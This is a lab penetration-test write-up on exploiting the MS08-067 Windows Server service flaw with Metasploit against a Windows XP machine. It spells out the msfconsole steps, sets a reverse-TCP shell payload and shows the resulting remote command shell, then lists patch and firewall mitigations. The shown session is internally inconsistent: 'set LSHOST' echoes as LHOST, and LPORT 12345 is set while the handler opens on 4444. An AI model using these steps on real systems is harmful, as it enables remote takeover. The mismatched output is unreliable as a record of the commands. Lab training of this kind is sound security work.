Test 1: [Chapter 4: MS08.067]

Vulnerability Description

- **About:** MS08-067 is a critical vulnerability in the Windows Server service, specifically in the handling of Remote Procedure Call (RPC) requests. It allows an attacker to execute arbitrary code remotely by sending a specially crafted RPC request to the target system.
- **History:** MS08-067 was prominent in 2008 because it was a remotely exploitable vulnerability affecting multiple versions of Windows, making millions of systems worldwide susceptible to attacks. Its widespread exploitation by the Conficker worm highlighted how quickly vulnerabilities could be weaponized, underscoring the critical importance of timely patching and network security.

Testing Environment

- **Victim:**
  - Windows XP
  - Affected by all service packs
  - Default setup
- **Attacker:**
  - Kali Linux
  - Using metasploit module: windows/smb/ms08_067_netapi
  - No preconditions for payload/vulnerability to be exploited outside of metasploit configurations

Testing Procedures

Setup:

- **Attacker**:
  - Start msfconsole:

    ```
    root@kali:~# msfconsole
    ```

  - Load module:

    ```
    msf > use windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) >
    ```

- Show options (Optional):

```
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOST                       yes       The target address
  RPORT      445              yes       Set the SMB service port
  SMBPIPE    BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

  Id  Name
  --  ----
  0   Automatic Targeting
```

- Set the RHOST to the victim IPv4 address `192.168.20.10` :

> We can specify the target and port but for testing purposes the default here is sufficient. The Exploit Target is set to 0 Automatic Targeting. This is the target operating system and version.

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.20.10
```

- Setting the payload:

```
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
```

- Set the LHOST on the payload `192.168.20.9` :

```
msf exploit(ms08_067_netapi) > set LSHOST 192.168.20.9
LHOST => 192.168.20.9
```

- Set the LPORT on the payload `12345` :

```
msf exploit(ms08_067_netapi) > set LPORT 12345
LPORT => 12345
```

- Run the exploit:

```
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1374) at 2024

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

- **Outcome:**
  Metasploit launches a listener on port 4444 when we enter the exploit in order to capture the target's reverse shell. Next, Metasploit fingerprinted the remote SMB server and chose the right exploit target for us because we had left the target set to Automatic Targeting by default. After choosing the exploit, Metasploit transmitted the exploit string and made an effort to take over the target system and run the payload we had chosen. Our handler caught a command shell since the attack was successful.

Recommended Mitigation

- **Mitigation Steps:** The simplest way to mitigate the vulnerability of MS08-067 is to Use Microsoft security patch KB958644 that was releasd the same year the vulnerbility was discovered, which fixes the Windows Server service vulnerability, to mitigate the MS08-067 vulnerability on a Windows XP machine.
- **Security Best Practices:** Additionally, to lessen vulnerability to network-based assaults, block port 445 on the firewall and disable non-critical services like SMB. Utilize intrusion detection systems to keep an eye out for attempted exploits and network segmentation to restrict access to susceptible systems for increased security.

Supporting Documentation

- Attach or link relevant evidence such as:
  - Screenshots
  - Log files
  - Code snippets or configurations used